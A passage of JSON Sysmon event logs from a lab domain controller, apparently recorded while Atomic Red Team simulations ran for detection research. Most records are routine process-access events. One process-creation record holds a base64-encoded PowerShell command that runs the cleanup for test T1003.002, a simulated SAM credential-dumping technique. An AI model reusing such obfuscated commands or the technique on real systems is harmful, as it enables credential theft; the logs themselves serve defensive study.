11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-00104AC80800}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA792AD3)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-00104AC80800}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA792AD3)","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-00104AC80800}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-00104AC80800}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.545\r\nProcessGuid: {90617006-4174-5F2D-0000-001061C90800}\r\nProcessId: 5052\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"\" \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nParentProcessId: 2512\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.545","ProcessGuid":"{90617006-4174-5F2D-0000-001061C90800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"\" ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","ParentProcessId":"2512","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 